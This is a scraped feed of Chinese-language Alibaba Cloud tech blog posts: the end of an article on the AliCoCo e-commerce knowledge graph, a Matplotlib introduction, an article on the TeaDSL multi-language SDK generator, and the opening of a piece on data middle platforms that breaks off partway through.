    原子概念层 (Primitive Concepts)

    在原子概念层,我们希望这些细粒度的词能够去完整地描述所有的用户需求,这是用于组成电商概念的基础,在这一层,我们主要讨论两个问题:

    • 原子概念词汇的挖掘
    • 原子概念之间的上下位关系构建

    词汇挖掘

    在定义好分类体系之后,一般有两种方式快速扩充分类下的实例(词汇)。第一种是融合多种来源的结构化数据,这种方法采用的技术通常是本体对齐(ontology matching),在实践过程中,我们主要采用规则+人工映射的方式将不同来源的结构化数据对齐到我们的分类体系进行词汇的融合。第二种是通过在大规模的语料上进行自动挖掘来补充分类下的词汇,这里我们将其定义为序列标注任务,并采用基于 BiLSTM+CRF [1] 的模型来挖掘发现分类下的新词。由于叶子分类的数量过于庞大,我们使用一级分类作为label,先对词汇进行粗粒度的挖掘。

    image.png

    上图为 BiLSTM+CRF 模型的简单示意,BiLSTM(双向 LSTM)层用于捕捉句子上下位的语义特征,而 CRF(条件随机场)层则用于捕捉当前词的 label 和前后词 label 之间的相关性。而在模型挖掘得到可能属于某个分类的新词之后,后续还会经由众包投放审核、外包质检等人工把关环节,最终才会入库成为真正的原子概念。不同的原子概念可能拥有相同的名字,但分属不同的类别,代表了不同的语义,每个原子概念有一个 ID,这也是 AliCoCo 未来可以用概念消歧的基础。

    上下位关系构建

    在某个一级分类下的词汇挖掘到一定量后,我们需要继续讲所有词汇分到不同层次的类别中去,这个过程可以抽象成为一个上下位关系发现(hypernym discovery)的过程:给定一个下位词,在词表中找到其可能的上位词。我们采用基于 pattern 的无监督方法和基于 projection learning 的监督方法两种方式结合来完成上下位关系的构建。

    Pattern based

    基于 pattern 的方式 [2] 是最直观且准确率最高的方法,通过归纳和发现一些可用于判断上下位关系的 pattern,从文本句子中直接抽取上下位词对。典型的 pattern 如“XX,一种XX”、“XX,包括XX”等。但这种方式的缺点是默认上下位词对在句子中必须共现,会影响召回。此外,利用中文的一些特点,我们可以用过“XX裤”一定是“裤子”等来自动构建起一批置信度较高的上下位关系。

    Projection learning

    Projection learning 的方式是给定一个下位词 embedding 和上位词 embedding ,有监督去学习一个映射函数 ,使得 和 尽可能地接近。这方面有很多前人的工作 [3, 4],其中有一些工作会先将不同的词进行聚类,在每个类别上分别学习不同的映射,取得了较好的效果。具体地,我们学习一个打分函数,用于表征一对候选词之间的上下位关系强弱,并使用多个 matrix 来模拟不同维度的特征(隐式的聚类),其中第 k个 score 计算如:。最后将 k 个 score 过一层全连接得到最终的probability:。之后我们采用交叉熵损失函数进行训练。模型中使用的预训练的词向量是在前面提到的电商语料上用 word2vec 进行训练的。同时,我们针对部分品类词在语料中出现较为稀疏的问题,用 ALaCarte embedding [5] 进行了强化,其主要思想是学习一个映射关系矩阵 ,利用稀疏词 周围的 context 的 embeddings 之和 对其进行表征:

    image.png

    image.png 可以通过利用语料中所有的词 进行训练得到:

    image.png

    Active learning

    模型产出候选和众外包审核是一个同时进行的过程,人工审核的数据可以不断反哺强化模型。因此,我们在迭代的过程中,考虑用 active learning 来进一步提升效率,降低人工审核的成本。我们采用了一种 uncertainty and high confidence (UCS) 的 sampling strategy,除了考虑模型难以判断正负的样例之外(预测值接近 0.5),我们还额外添加了一定比例的高置信度判正的样例一起送标,这是因为在上下位关系的判别中,很容易被诸如同义或者相关关系所干扰,尤其在前期样本数量少且质量不一,以及负采样不均衡的情况下,模型对于区分相关关系和上下位的表现不是太好。而通过人工标注纠正这样的判断错误,可以及时惩罚这一类的误判。实验表明这样的策略可以帮助我们减少 35% 的人力成本。

    电商概念层 (E-commerce Concepts)

    在电商概念层,每一个节点代表了一种购物需求,这种购物需求可以用至少一个原子概念来描述。我们首先介绍电商概念的定义,然后介绍电商概念是如何被挖掘和生成的,最后介绍电商概念和原子概念之间的链接。

    电商概念的定义

    我们定义一个符合标准的电商概念,需要满足以下要求:

    1)有消费需求

    即一个电商概念必须可以让人很自然地联想到一系列商品,反例如“蓝色天空”、“母鸡下蛋”等就不是电商概念。

    2)通顺

    反例如“仔细妈咪肥皂”等就不是电商概念。

    3)合理

    即一个电商概念必须符合人类常识,反例如“欧式韩风窗帘”、“儿童性感连衣裙”等就不是电商概念,因为一个窗帘不可能即是欧式还是韩风的,而我们通常不会用性感去修饰一件儿童的连衣裙。

    4)指向明确

    即一个电商概念必须有明确的受众,反例如“儿童宝宝辅食”等就不是电商概念,因为儿童的辅食和宝宝的辅食差别较大,会造成用户的疑惑。

    5)无错别字

    反例如“印渡神油”等。

    电商概念的生成

    我们采用一个两阶段的方式来生成电商概念:首先我们用两种不同的方式生成大量的候选,然后用一个判别模型来过滤那些不满足我们的标准的候选。

    候选生成

    候选生成有两种方式,一种是从文本语料中去挖掘可能的短语,这里我们采用了 AutoPhrase [6] 在大规模的语料上进行挖掘,语料包括电商生态内的 query log,商品的标题、评论,还有很多达人商户写的购物攻略等。另一种方式是用词粒度的原子概念进行组合生成短语粒度的电商概念。我们挖掘并人工审核了一些 pattern 来赋值生成,部分 pattern 如下图所示:

    image.png

    我们可以通过“[事件]用的功能”这个 pattern 来生成“旅游用的保暖帽子”这样的电商概念。而这些 pattern 可以和下面的判别过程结合,通过迭代的方式来进行不断地挖掘和补充。

    电商概念判别

    判断一个候选短语是否满足电商概念的要求,最大的挑战是上文提到的第三点,即“合理”,要符合人的常识。其他一些要求我们可以通过字级别或是词级别的语言模型就能过滤掉大部分的 badcase,但常识错误的识别对机器来说是非常困难的。此外,电商概念判别任务中的候选短语又严重缺少上下文信息,进一步增加了判别的难度。

    为了解决这个难题,我们设计了一种知识增强的判别模型(如下图所示),整体是一个 Wide&Deep [7] 的结构。在 Deep 侧,我们利用字级别和词级别的 BiLSTM 来提取特征,同时对于词级别的输入,我们还加入了一些词性特征如 POS tag 和 NER label 等。为了进行知识增强来辅助常识理解,我们将部分词链接到 Wikipedia 上,如“性感”就可以找到对应的页面。然后将页面上的 gloss(通常是一段简单的介绍)用 Doc2vec [8] 的方式进行 encode 得到知识表达。在经过 self-attention + max-pooling 之后将两者融合。在 Wide 侧,我们主要计算了 concept 的一些统计特征,包括了 BERT [9] 语言模型产出的 ppl 值。最后,通过一个全连接层我们得到最终衡量一个候选短语是否符合电商概念要求的分数。

    image.png

    我们希望模型能辅助我们过滤掉大量的 badcase,此后我们对模型判别正确的电商概念通过众包投放审核和外包多轮质检的方式来保证数据质量。同时,审核入库的数据会继续迭代地帮助模型进一步提高准确率。

    和原子概念的链接

    对于那些通过从原子概念组合而得到的电商概念,它们天然地和原子概念关联了起来,但对于那些从文本中直接挖掘得到的短语概念,我们需要进一步将它们和原子概念层进行链接,以便更好地去理解和描述这些用户需求。回顾前文提到的电商概念“户外烧烤”,我们需要预测“户外”是一个“地点”,“烧烤”是一个“动作”。但“烧烤”在我们的体系中也有可能是一个“电影”,所以这里的难点在于如何进行消歧。我们把这个任务定义为一个短文本的 NER 任务,由于电商概念普遍只有 2-3 个词组成,缺少上下文也让这个任务具有挑战。

    image.png

    为了解决这个问题,我们设计了一种文本增强的方式,对短文本中待链接的词进行外部上下文的补充,用以为消歧带来额外的信息辅助。模型如上图所示,左边部分是比较常规的特征抽取,右边是一个信息增强的模块。我们将目标词映射到高质量的外部文本中,通过 doc2vec 将其周边的上下文信息 encode 成 embedding,最终最为额外的输入融合到最终的表达中。此外,由于部分电商概念中的原子概念可以属于多个类型,如“乡村半身裙”中的“乡村”,既可以是“地点”,也可以是“风格”。因此我们将 CRF 层改为 Fuzzy-CRF [10],用以建模多个正确的 label 序列:

    image.png

    商品关联 (Item Association)

    在构建完原子概念和电商概念层之后,最重要的是将电商平台上的所有商品进行关联。前面提到原子概念更像是属性,因而我们更关注商品与电商概念的关联,因为后者表达的是一个用户需求,常常有着较为复杂的语义。此外,电商概念与商品的关联不能直接从对应的原子概念到商品的关联组合得到,因为会出现“语义漂移”的问题。例如“户外烧烤”所需要的商品,往往和属性“户外”没有任何关系。我们将这个问题抽象为一个语义匹配(semantic match)[11, 12] 的问题,因为现阶段我们暂时只用到商品侧标题的信息(实际上商品是一个多模态的结构,有着非常丰富的文本、图像甚至越来越多的商品开始有了短视频的介绍)。这个任务最大的挑战依旧在于我们的电商概念非常简短,直接进行匹配,往往会遇到诸如某些不那么重要词对结果产生了巨大的影响等问题。

    image.png

    针对上述难点,我们在语义匹配模型上引入了一些必要的外部知识来提升性能。具体模型如上图所示,除了常规的特征抽取,attention 注意力机制模块等建模商品和电商概念之间的关联外,我们主要做了两个地方的增强:

    1)引入了电商概念对应的原子概念的特征表达,增加了类型等结构化信息。

    2)引入外部 Wikipedia gloss,对部分词进行知识增强,以更好地建立与商品之间的关联。引入这些知识带来的典型的优点,例如在关联“中秋节送礼”时,可以把不包含中秋节字样的的月饼类商品给排上来。

    应用

    目前,AliCoCo 已经基本完成了 1.0 版本的建设,共包含 2.8m 的原子概念,5.3m 的电商概念,超过千亿级别的关系。淘宝天猫上超过 98% 的商品均已纳入到 AliCoCo 的体系之中,平均每个商品关联了 14 个原子概念和 135 个电商概念。通过对用户需求的统计,相较于之前的商品管理体系,AliCoCo 对于搜索 query 中用户需求的覆盖从35%提升到了 75%。

    AliCoCo 已经支持了阿里巴巴集团核心电商的多个业务应用,这里我们主要介绍在电商搜索和推荐上已经落地的、正在进行的,以及将要进行的一些应用。

    image.png

    电商搜索

    相关性是搜索引擎的核心问题,其最大的挑战在于用户输入的 query 和商品端之间存在语义隔阂。AliCoCo 中已经为大量的原子概念和电商概念关联了相应的商品,为商品理解提供了从用户视角出发的大量标签,同时 AliCoCo 包含了大量的同义和上下位关系,这些数据帮助了搜索相关性取得显著的提升,从而进一步改善了用户体验。

    语义搜索和自动问答一直人们对于搜索引擎的梦想。在电商的场景中,我们可以充分发挥 AliCoCo 的优势,当用户搜索命中电商概念的时候,通过一个知识卡片的形式透出该电商概念下多样化的商品,类似 Google 的知识图谱帮助搜索引擎在用户检索一些实体时透出知识卡片。如上图(a)所示,当用户在淘宝搜索“烘焙”时,命中了相应的电商概念“烘焙工具”,于是会透出一个卡片,上面的商品按照不同品类来进行排序展示。此外,我们还可以透出一些对于烘焙知识的文字解释用于辅助用户进行决策。而电商场景中的自动问答,更多出现在语音交互的场景中,我们可以在家里问天猫精灵“周末要组织一场户外烧烤,我需要准备哪些东西?”,AliCoCo 可以为这样的场景提供底层知识的支持。

    电商推荐

    目前电商推荐主要以商品推荐的形式为主,但为了满足用户丰富多样的购物需求,我们也需要为用户做一些主题式的推荐,让用户能够明显感知到推荐系统能更人性化地在满足其购物需求。AliCoCo 中的电商概念,正是为了表达用户需求,同时 2-3 个词的长度也非常适合直接推送给用户。如上图(b)中所示,在手机淘宝首页信息流推荐中,我们在商品坑位之间插入了以电商概念为主题的知识卡片,当用户点击卡片时,就会跳到相应的页面,展示该电商概念下的商品。这个应用目前已经稳定运行了超过一年,满足了用户多样化的推荐需求,进一步提升了用户的满意度。

    此外,电商概念简短的文字也非常适合用作推荐理由展示在商品坑位中,进一步吸引用户,如上图(c)所示。AliCoCo 为可解释的推荐提供了数据基础。

    总结

    为了支持电商技术从个性化时代全面迈入认知智能时代,我们投入了巨大的心血和努力探索并构建了全新一代的电商知识图谱 AliCoCo,目前 AliCoCo 已成为阿里巴巴电商核心引擎的底层基础,赋能搜索、推荐、广告等电商核心业务。同时,通过海量的线上用户反馈,AliCoCo 也在不断地对其自身的结构和数据进行补充与完善,形成了一个良性生长的循环。对于 AliCoCo 2.0 的方向,我们未来考虑:

    1)继续补充大量电商常识性关系,如将电商概念与原子概念的链接,从短文本 NER 扩展成属性推理任务,我们需要为“男孩T恤”预测出“季节:夏天”,尽管“夏天”没有出现在文本之中,这样的购物常识对于进一步理解用户需求、改善购物体验是非常有帮助的。

    2)将电商概念和商品之间的关系建模为概率分,根据分数来进一步将用户体感进行分层,让用户有更明显的感知。

    3)AliCoCo 将响应集团国际化和本地化的战略,朝着多语言(multi-lingual)和餐饮等方向进行探索。

    参考文献

    [1] Zhiheng Huang, Wei Xu, and Kai Yu. 2015. Bidirectional LSTM-CRF models for sequence tagging. arXiv (2015).

    [2] Marti A. Hearst. 1992. Automatic acquisition of hyponyms from large text corpora. In Proceedings of the 14th conference on Computational linguistics - Volume 2, volume 2, pages 539–545. Association for Computational Linguistics.

    [3] Josuke Yamane, Tomoya Takatani, Hitoshi Yamada, Makoto Miwa, and Yutaka Sasaki. 2016. Distributional hypernym generation by jointly learning clus- ters and projections. In Proceedings of COLING 2016, the 26th International Conference on Compu- tational Linguistics: Technical Papers, pages 1871– 1879.

    [4] Dmitry Ustalov, Nikolay Arefyev, Chris Biemann, and Alexander Panchenko. 2017. Negative sampling improves hypernymy extraction based on projection learning. In Proceedings of the 15th Conference of the European Chapter of the Association for Compu- tational Linguistics: Volume 2, Short Papers, pages 543–550, Valencia, Spain. Association for Compu- tational Linguistics.

    [5] Khodak, Mikhail, et al. "A la carte embedding: Cheap but effective induction of semantic feature vectors." arXiv preprint arXiv:1805.05388 (2018).

    [6] Jingbo Shang, Jialu Liu, Meng Jiang, Xiang Ren, Clare R Voss, and Jiawei Han. 2018. Automated phrase mining from massive text corpora. IEEE Transactions on Knowledge and Data Engineering 30, 10 (2018), 1825–1837.

    [7] Heng-Tze Cheng, Levent Koc, Jeremiah Harmsen, Tal Shaked, Tushar Chandra, Hrishi Aradhye, Glen Anderson, Greg Corrado, Wei Chai, Mustafa Ispir, et al. 2016. Wide & deep learning for recommender systems. In Proceedings of the 1st Workshop on Deep Learning for Rec- ommender Systems. ACM, 7–10.

    [8] Quoc Le and Tomas Mikolov. 2014. Distributed representations of sen- tences and documents. In International conference on machine learning. 1188–1196.

    [9] Jacob Devlin, Ming-Wei Chang, Kenton Lee, and Kristina Toutanova. 2018. Bert: Pre-training of deep bidirectional transformers for language understanding. arXiv preprint arXiv:1810.04805 (2018).

    [10] Jingbo Shang, Liyuan Liu, Xiang Ren, Xiaotao Gu, Teng Ren, and Jiawei Han. 2018. Learning named entity tagger using domain-speci c dictionary. arXiv preprint arXiv:1809.03599 (2018).

    [11] Po-Sen Huang, Xiaodong He, Jianfeng Gao, Li Deng, Alex Acero, and Larry Heck. 2013. Learning deep structured semantic models for web search using clickthrough data. In Proceedings of the 22nd ACM international conference on Information & Knowledge Management. ACM, 2333–2338.

    [12] Liang Pang, Yanyan Lan, Jiafeng Guo, Jun Xu, Shengxian Wan, and Xueqi Cheng. 2016. Text matching as image recognition. In Thirtieth AAAI Conference on Arti cial Intelligence.

    ]]>
    初识Matplotlib | Python 数据可视化库 Matplotlib 快速入门之四 Fri, 02 May 2025 09:39:04 +0800 快速上手Jupyter Notebook | Python 数据可视化库 Matplotlib 快速入门之三

    Matplotlib介绍

    学习目标

    • 目标

      • 快速掌握Matplotlib画图
    • 应用

    • 内容预览

      • 2.1.1 什么是Matplotlib
      • 2.1.2 为什么要学习Matplotlib
      • 2.1.3 实现一个简单的Matplotlib画图
      • 2.1.4 认识Matplotlib图像结构
      • 2.1.5 拓展知识点:Matplotlib三层结构

        • 1 容器层
        • 2 辅助显示层
        • 3 图像层

    什么是Matplotlib

    image.png

    • 专门用于开发2D图表(包括3D图表)
    • 使用起来及其简单以渐进
    • 交互式方式实现数据可视化

    Matplotlib可以拆成3个英文单词:

    • mat - matrix 矩阵(存放数据的二维数据)利用二维数据生成二维图表。
    • plot - 画图
    • lib - library 库

    综上,Matplotlib就是一个画二维图表的python工具库。
    在学术领域还有一个工具:Matlab
    mat - matrix 矩阵
    lab 实验室
    Matlab:矩阵实验室,我们不使用它,是因为它有自己独立的语言,并且是收费的。

    为什么要学习Matplotlib

    可视化是在整个数据挖掘的关键辅助工具,可以清晰的理解数据,从而调整我们的分析方法。

    • 能将数据进行可视化,更直观的呈现
    • 使数据更加客观、更具说服力

    例如下面两个图为数字展示和图形展示:

    image.png

    拓展:js库 - D3echarts
    都是对数据的大量分析,方便选择更合适的分析方法。
    我们可以去直观的感受一下:国家财富与健康

    image.png
    image.png

    可以可以看到一个从1800~2019的一个变化。
    也可以去看一下echarts

    image.png

    随便去找一个看一下:

    image.png
    image.png

    也是可以看到具体的数据变化的。

    奥卡姆剃刀原理:如无必要勿增实体

    配套视频课程,点击这里查看

    获取更多资源请订阅Python学习站

    ]]>
    TeaDSL:支持任意 OpenAPI 网关的多语言 SDK 方案 Fri, 02 May 2025 09:39:04 +0800 背景

    阿里云有位工程师叫朴灵,热爱开源,是活跃在 Github 上的国内技术大牛之一。在阿里工作 6 年之际,朴灵产生了离职的想法,打算去一家创业公司再战高峰。走之前,朴灵做了一些研究工作,他发现阿里云在功能和产品上可以说是一流的云计算厂商,是创业公司的首选,但由于过去的业务中写过大量的 Node.js SDK,对开发者体验有着自己的体感,他觉得在开发者体验关怀上,阿里云做得还不够好。来自一个热血工程师最朴素的想法,自己何不先留下来,去把这件事情做好,于是,朴灵加入了阿里云开放平台负责 SDK 业务,期间,他和团队研发了专利 TeaDSL,下面朴灵将分享 TeaDSL 如何解决多语言 SDK 的问题。

    使用 OpenAPI 的痛苦

    在过去,我们经常说的 OpenAPI,通常的做法是,开发好服务端的接口,然后在文档里简单写几个参数描述,就直接丢给客户去用。反正我是开发好了,我这里是好的,客户能不能用起来我是不用管的。

    image.png

    图 1 第一代的 OpenAPI 通常仅由简单的文档及实际的接口构成

    然而接下来的问题就来了。首先,文档上写得不清不楚的参数,没有试过,完全不知道它到底能不能 Work。其次,OpenAPI 总得有一定的权限认证吧,那么总得有一个签名啥的,每个客户都要写一遍,关键是总是没法写对。再次,不同的客户所使用的编程语言不一样,得把接口重新包装才能用。

    总算费心费力调通了接口,以为可以高枕无忧的时候,咋接口老是报错,网络连不上,返回的数据不对,诸如此类。再往后,OpenAPI 可能总是要发生一点变化什么的,总是出现一些数据结构发生变化,不兼容之类的问题。

    一个 OpenAPI 到最后,不光是用户使用起来觉得很气,作为维护者也是很艰难的。当公布一个 OpenAPI 后,第一步给出简单的文档后,会发现除了要把参数详情写得越来越完善准确外,还得给出签名算法,让不同语言的开发者来接入。然而给出签名算法后,会发现只有一些开发者能顺利完成,大部分的开发者只能眼巴巴地请你帮忙提供一个 SDK。好吧,那就提供一下我最拿手的 Java 语言的签名,提供一个核心 SDK 呗。

    image.png

    图 2 第二代的 OpenAPI 会有 SDK 的实现,但仅有少许的语言支持

    随着这个 OpenAPI 接口的用户越来越多,一个客户说我要用 C++ 来对接你,另一个客户说我要用 Python 来对接你,于是,我一个 Java 程序员,怎么就要写那么多语言的 SDK 呢。没有办法,如果不提供良好的 SDK,客户说,没有 IDE 提示呢,我怎么写代码呢。

    总而言之,在 OpenAPI 的应用过程中,一件简单的事情,会变得非常复杂:

    • 需要提供良好的 API 文档,作为最基本的要求
    • 需要提供 SDK,保障开发者的编码体验,封装细节,代码提示等
    • 需要提供 Code Sample,更理解接口的使用效果
    • 如果有 CLI 就更好了,这样连 bash 脚本写起来也更方便
    • 如果没有 Test Cases 作为日常的持续集成,接口质量可能存在问题

    上面这些要求,如果加上多种编程语言的条件,就会演变为一件细碎而又繁多的体力活。并且这中间不能有任何的变动,因为仅仅是一点点的 OpenAPI 变动,就需要连带整个下游发生变化。如果一个地方没有保持一致,那么客户问题就会出现。

    image.png

    图 3 当用户量变多,OpenAPI 的提供者需要提供完善的工具及更多的编程语言支持

    通常为了解决此类的问题,以及 OpenAPI 的诸如签名校验,限流,生成 SDK、文档等等,业界通常会使用 API 网关来承担这些横向的责任。

    然而,作为笔者所在的环境下,会发现,我们身边的网关有点多。于是不同的网关有不同的风格,不同的签名算法,不同的序列化格式。于是上述的过程要根据不同网关的数量,进行翻倍:

    image.png

    图 4 当一个企业变得庞大时,不同风格的 OpenAPI 及网关都会出现

    当我们在抱怨使用不同产品的 OpenAPI/SDK 体验不一致,文档不对,Demo 出错等等问题时,真不是因为做这些事情太难,而是太多,太琐碎。一件简单的事情,需要做一百次,也就不是简单的事情了。

    TeaDSL 的解决之道

    TeaDSL 是由阿里云开放平台 SDK 团队主导设计的一门领域特定语言。主要用于解决如下问题:

    • 通过一门中间语言,可以支持不同风格的网关。即使网关下的 OpenAPI 风格各异,也能一致地表达到。
    • 可以通过翻译的能力,实现对不同编程语言的代码生成。也就是可以基于统一的中间表达,生成多语言的 SDK。
    • 基于中间表达,我们可以将一组 OpenAPI 视为一个 library,因此可以在这个基础上实现 OpenAPI 接口的 Code Sample 编写。进而实现多语言的 Code Sample 统一生成。

    因此 TeaDSL 的核心能力就是通过一种中间语法来描述 OpenAPI,提供类似编程语言的能力,来将 OpenAPI、SDK、Code Sample 等场景及语言有机地结合在一起。

    在没有 TeaDSL 之前,对于不同的网关,我们要为它制定独立的工作流程,即从 OpenAPI 定义到不同语言的 SDK 生成,是独特的。换一个新的网关风格,就要重新实现这套流程。

    image.png

    图 5 M 个网关都要支持 N 种编程语言,整个工作量是 M * N 的关系

    而具有 TeaDSL 后,我们则形成一个中间层。可以将原来的工作收敛起来,我们仅需要关注不同的网关到 TeaDSL 的转换工作,以及 TeaDSL 到各个编程语言的生成工作。


    image.png

    图 6 经过中间层的隔离,整个工作量变为 M + N 的关系

    也就是说,TeaDSL 是在做一件 M * N 到 M + N 的工作。当网关越多,支持的编程语言越多,收益则越大。

    一旦这个中间层建立起来,整个 OpenAPI 的应用形式都可以基于它来构建。比如,编写一个 OpenAPI 的 Code Sample,Test Case 等。

    接下来简单介绍 TeaDSL 是如何实现支持任意风格的网关和多种编程语言的。

    如何支持任意风格的网关

    对于不同的 API 网关,或者不同产品的 OpenAPI 而言,它们之间的风格可能都千差万别,因此在很大的程度上,每种风格的 OpenAPI 都有它自己的元数据定义格式。为了减少网关、风格带来的差异化,业界主要推动的方式是尽量采用标准的定义格式。比如 Swagger 就是其中的佼佼者,它依托于 OpenAPI Specification ,以 RESTful 风格的 OpenAPI 作为基准,形成了一套业界标准。

    但这个世界就是这样不完美,我们现有的大量 OpenAPI 并不是 RESTful 风格的。这导致很多的产品现存的 OpenAPI 在文档、SDK等场景下,无法使用上 Swagger 这样强大的生态工具链。

    为了解决这些问题,我们需要进行两步操作:

    • 设立一套新的标准,来包容不同风格的 OpenAPI
      以这套新的标准,来建设生态工具链
    • 如果完成这两个步骤,那么现实世界上的每一个 OpenAPI,RESTful 或者非 RESTful 的,不需要做任何迁移,也能具有强大的工具链支持。

    新标准的设计

    通过我们的研究发现,无论 OpenAPI 的参数是如何组成的,传输是 JSON,还是 XML,乃至自定义协议,OpenAPI 都是基于 HTTP 协议栈进行提供的。也就是说,万变不离其宗的是 HTTP 协议本身。因此我们确立的基本模型是这样的:

    {
      protocol: string, // http or https
      port: number,         // tcp port
      host: string,         // domain
      request: {
        method: string, // http method
        pathname: string, // path name
        query: map[string]string, // query string
        headers: map[string]string,  // request headers
        body: readable      // request body
      },
        response: {
        statusCode: number, // http method
        statusMessage: string, // path name
        headers: map[string]string,  // response headers
        body: readable      // response body
      },
    }

    对于不同风格的 OpenAPI 而言,就像不同风格的建筑,它们的建筑材料都几乎相同,只是施工手法,组合形式不一样而已。我们看到的 OpenAPI 风格差异,实质则是序列化过程不同而带来的不同。我们序列化过程和数据模型分离,将用户更直观的数据结构提取出来。

    比如从用户角度出发,一个数据模型是更直观的事物:

    model User {
        username: string,
      age: number
    }

    在不同的网关下,它的传输形式可能是 JSON,也可能是 XML,但最终都是 readable,也就是可读的字节流。

    toJSON(user: User): string
    toXML(user: User): string

    最终的结果就是:

    __request.body = toJSON(user);
    __request.body = toXML(user);

    更进一步的过程是,我们会将一个 OpenAPI 的请求/响应包装为一个类似于编程代码的方法:

    api getUser(username: string): User {
      __request.method = 'GET';
      __request.pathname = `/users/${username}`;
      __request.headers = {
        host = 'hostname',
      };
    } returns {
      var body = readAsJSON(__response.body);
      return body;
    }

    尽管上面的代码不能实际运行,但大致也看出来我们包容不同的网关、风格的办法如下:

    • 以 request / response 也就是 HTTP 协议作为核心模型
    • 通过引入一些方法,如 toJSON / toXML / readAsJSON 等方法来分离数据结构和序列化过程
    • 将整个过程包装成方法

    这些方法在不同的编程语言下具有不同的实现,但我们只要定义好统一的签名,就能确保一致性:

    function toXML(data: $Model): string;
    function toJSON(data: $Model): string;

    以上就是 TeaDSL 如何实现支持任意网关的方案。整个过程相对抽象,网关间的那些具有差异化的风格,统统交给这些方法去实现,留下来的就只有数据结构。

    如何支持不同的编程语言

    如果只是能通过一种描述方式来描述不同的 OpenAPI 调用过程,只是完成了一半的工作。另一半的工作是如何将这种描述语言落地到不同的编程语言下。在过去,我们支持不同的编程语言,主要是基于模版的形式来生成不同语言的实际代码。但这对我们来说仍然还有一些不足之处:

    • 模版的生成方式相对生硬,实现起来容易,但维护起来不那么灵活
    • 生成出来的代码容易带来命名冲突,语法错误等

    从上面的形式也看到,这个方案,被我们设计成了一种 DSL 代码。因此它是具有自己的词法、语法、语义规则的,在生成目标编程语言代码之前,会有一套自身的校验。DSL 的这些能力是模版所不具备的。

    可能对于别的场合,采用 DSL 的形式并不多见。但对于前端工程师而言,这些年已经见的较多了:CoffeeScript、Babel、JSX、TypeScript 等等。为此我们参考了诸多编程语言的设计,最终形成了自己的一套语法。并借鉴编译器领域的转译方式,因此我们可以在模型一致的情况,生成到各种不同的编程语言下。

    整个 TeaDSL 的处理流程如下:

    image.png

    最终我们支持多种编程语言的场景主要有 3 个:

    • 基本的多种语言的 SDK
    • OpenAPI 相关的多种语言的 Code Sample
    • OpenAPI 相关的多种语言的 Test Case

    通过中间语言的强校验,生成到多种目标场景,可以解决编程语言支持不全面的问题。同时也大幅节约 OpenAPI 维护者的精力成本,不需要反复手工地编写不同编程语言下的 Code Sample。随着对不同编程语言的支持逐步完善,这些中间 TeaDSL 代码不需要任何操作,即可自动支持到新的编程语言下。

    总结

    TeaDSL 的主要能力是支持到不同风格的 OpenAPI,同时支持多语言的 SDK、Code Sample 目标生成。最终的目的仍然是打通从 OpenAPI 定义到文档、到 SDK、CLI 等 OpenAPI 使用场景下的一致性。提供给用户更统一、专业、一致的使用体验。同时也大幅降低 OpenAPI 提供者用来支持用户的成本,通过自动化的方式,节省精力的同时,还减少人为参与时导致的错误。

    目前 TeaDSL 在阿里云的一些 SDK 上已经有所应用,如:https://github.com/aliyun/aliyun-ccp 。阿里云开放平台在持续努力提升它的整个工具支持生态,以期望能建成比 Swagger 更适配的生态体系。

    image.png

    ]]>
    【独家整理】关于数据中台,你必须知道的10件事情 Fri, 02 May 2025 09:39:04 +0800 数据中台俨然是过去2年间的一个行业“网红”词。只要和企业数字化相关的内容,似乎都能见到数据中台的身影。
    众说纷纭的解读,好像并没有让这一概念变得日渐清晰化,反而让更多的人迷惑。关于数据中台,我们到底该如何理解?
    今天,阿里数据中台作为数据中台这一概念的首创者,将从起源开始,给大家剖析这一领域的10个必读知识。正本溯源的同时,小编也帮助大家一起厘清概念。

    01数据中台源自阿里巴巴内部实践。

    2015年,阿里巴巴宣布启动中台战略,“中台”一词首次进入公众视野,并迎来很多业内中台的效仿者。
    但实际上,早在2012年,阿里巴巴就已经在内部开始提数据中台方法论,到2014年把这个方法论在阿里体系之内不断迭代推广,再到2015年全面升级到组织战略层面。如今,阿里内部都通过数据中台一套方法论实现了数据资产化,数据资产价值化。

    02数据中台绝不是大数据平台。

    在一系列“并不严谨”的诠释中,数据中台很容易被误认为是大数据平台的另一个代名词。这显然是错误的!
    数据中台是构建在大数据平台之上的。它的核心是业务、应用,要结合场景,比如销售、市场,连接的是商业。
    数据中台不像飞天操作系统和大数据平台,是单独的产品,用户买过来就可以了。具象的说,它是一套解决方案,抽象的理解,它是一种新的公司运营理念。

    03数据中台绝不是传统数据仓。

    在系统和服务上,数据中台与传统数仓有很多明显的区别,首先表现在服务对象方面,传统的数仓只是满足领导数据决策的需要,因此更多的体现在报表输出,使用者以小部分的业务人员和决策层为主,新需求的开发周期以月甚至到年为计。而数据中台由于起家于互联网企业,其使用对象扩大到一线服务人员和商家企业,其业务需求更繁杂,很难用一套报表系统满足需求,因此催生出一个生态的数据服务。
    其次是体系架构上,数据中台是由多系统组成,再则,在服务表现形式上数据中台体现的更多样化,数据中台不仅能提供报表基础服务功能,而且为了满足各个业务部门不同需求,会提供领导决策系统、行业分析、业务洞察、业务重塑,自助查询等多个功能,满足从领导层、PD、业务人员、开发人员等各个层级的需求。

    04数据中台不是数据湖。

    数据中台与数据湖相比,更多实现数据的管理,强调利用数据的能力,强调数据开发和高效的使用,数据中台的数据资产管理可以对数据湖中的数据按照数据域方式进行管理并结合业务的逻辑实现整个数据模型的加工和开发。
    数据中台强调方法论,组织和工具的建设。非常强调数据赋能业务,衍生出很多的数据业务产品。比如在阿里面向商家的生意参谋,面向人物属性的标签服务、面向行业小二的行业洞察…这些都极大的扩展了数据价值,其次数据中台按分析的原子指标和派生指标方式做计算并存储在Maxcompute平台上,如有及时查询要求会同步分析结果数据给MPP或其他DB。这块在数据顶层设计,全域资产、统一技术、产品业务上与Datalke及EDW是不同的。

    05数据中台是方法论+产品+组织的组合。

    它是新时期(以用户为中心,数据为王),企业开展新型运营的一个中枢系统。具体看一下每一个部分:阿里云数据中台基于OneData方法论,实现数据资产化工具体系;产品,是经过抽象和设计变成通用化、标准化、可扩展的服务,是对行业的沉淀。只有产品才能面向更广泛的业务人员。
    阿里云数据中台目前已经形成了以Dataphin、Quick BI、Quick Audience等为核心的产品矩阵;组织,基于数据带动效率、业务增长,降低成本。如果把组织比作人体的血管,那数据就是血液。想要血液顺畅的流淌,组织必须跟着做相应的调整,比如增加数据科学家、数据产品经理等岗位。

    06阿里云数据中台OneData方法论可以提供三种核心能力,帮助企业实现数据资产化。

    这三项能力都是基于Dataphin产品来实现的。其中,OneModel负责统一数据构建及管理,OneID负责统一数据萃取,OneService负责统一数据服务。层层递进,将行业智慧和积累赋予每个组织。

    07 阿里云数据中台实施要注意三个关键节点。

